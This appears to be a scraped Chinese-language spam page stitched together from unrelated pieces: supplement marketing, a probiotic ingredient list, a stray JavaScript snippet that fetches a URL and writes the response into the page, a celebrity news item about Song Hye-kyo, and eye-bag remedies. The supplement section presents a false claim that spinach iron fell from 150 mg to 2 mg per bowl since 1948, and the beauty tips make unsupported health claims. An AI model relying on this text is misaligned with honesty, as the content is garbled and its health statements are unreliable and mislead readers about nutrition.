為什麼要吃營養補充品?



汽機車要定期保養，因為定期保養才能保持性能延長使用壽命!!

那身體呢? 很多人都是要等到生病了才去求助醫生的幫忙!

結果長期吃西藥，造成肝腎的負擔，導致要用更多的藥控制!

長期 熬夜這時候才知道"預防勝於治療"!

又一堆早知道出現在腦中!

很多人說我均衡飲食吃很多蔬果，應該沒有補充保健食品的必要吧!

我只能說如果你吃的量夠的話，那就不用了!

但目前的農作物蔬果因為要快速採收以供應市場，加上土地不斷的重複利用，土壤裡的養分幾乎已被吸收殆盡，因此種出來的蔬果裡頭的營養素不像以前一樣那麼營養。

根據日本所做的一項調查，現在的菠菜裡頭所含的維他命C，已經遠遠比不上多年前一顆菠菜所含的維他命C的含量了，與Robert G. Allen的《你的健康正遭受威脅》這本健康報告裡頭提到的數據不謀而合，這本健康報告說一九四八年的時候，一碗菠菜所含的鐵大約是一百五十毫克(milligrams)。不過現在，相同份量的菠菜卻只有兩毫克的鐵！現在您必須吃下七十五碗的菠菜，才能獲得五十年前相同份量的礦物質！所以真相是我們自以為均衡飲食，結果根本只有極少數的人可以做到；我們自以為吃的蔬菜水果很營養，結果這些食物中所含的營養竟如此貧乏！真是相當驚人的真相！

雞精粉保健食品，是平常就要補充攝取，它並不是藥，可以馬上見效。

選擇適合自身需求的保健產品，可以讓你擁有健康活力的彩色人生。

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  ■商品成分：
  機能性益生菌【(A菌)嗜酸乳桿菌、(B菌)雙叉雙歧桿菌、(L菌)長雙歧桿菌、(C菌)乾酪乳桿菌、(I菌)嬰兒雙歧桿菌、 (LL菌)乳球菌、(LGG)鼠李糖乳桿菌、(LP菌)副乾酪乳桿菌、 (ST菌)嗜熱乳球菌、(LR菌)鼠李糖乳桿菌】、 窈窕元素：難消化性糊精、草莓萃取物、金針菇物萃取物、木寡糖、黑木耳、靈芝。

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2017年02月23日 18:51



function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

var theUrl = '';

document.write(httpGet(theUrl));

記者蔡宜芳／台北報導

南韓演員宋慧喬23日為了替代言的美妝品牌站台，特別現身台北信義區出席發表會，她身穿荷葉袖藍條紋洋裝亮相，並綁著優雅的公主頭，展盡女神風範。她在發表會上除了分享自己私底下的樣貌，也提到與宋仲基拍攝《太陽的後裔》的過程，大讚對方運動神經很好。

宋慧喬一出場就用中文向媒體自我介紹，並說：「2年前我曾為了《太平輪》而來，這次又能近距離和大家見面覺得很開心。」她透露自己私底下基本上都是素顏不化妝，不過會塗上有色唇膏增添好氣色。出道多年的她，謙虛表示自己是很好運的，「因為職業是演員，所以會受到很大的矚目，但直到現在演出的作品都還能被喜愛，我很幸運也很開心。」

▲宋慧喬23日來台出席美妝品牌新品發表會。（圖／記者林世文攝）

宋慧喬與宋仲基聯手主演的《太陽的後裔》在2016年掀起強烈旋風，當她聽到主持人阿KEN問說在該劇播出之後，有沒有人會拍掉她的手機？她笑說：「當然沒有！手機會摔碎的。」接著，她也透露在拍戲時，宋仲基其實也練習了很多次，「他可能運動神經特別好，所以很快就上手了，當然在看不到的地方還是有工作人員做的防護措施，所以手機沒有摔壞。」

▲宋慧喬美美現身。（圖／記者林世文攝）



簡單教你輕鬆去眼袋



1、乳液法

營養素化妝前，在眼部塗一層薄薄的乳液，使眼部肌膚充分滋潤，能防止由於細紋出現的眼袋。

2、按摩法

眼部穴位按摩能刺激眼部經絡和穴位，調節眼部皮膚的氣血。經常對眼部進行按摩，能去除眼袋，達到美容養顏的效果。

3、冷熱敷法

每晚將一個湯匙放進冰箱，第二天利用冰湯匙蓋住眼睛，可以舒緩水腫。將化妝棉泡在冰水里濕敷也有一定效果。

4、美食法

紅豆、綠豆等具有很好的利尿排毒作用，多吃可以排出身體的大量色素，去雀斑、消水腫，還可以有效消除眼袋。

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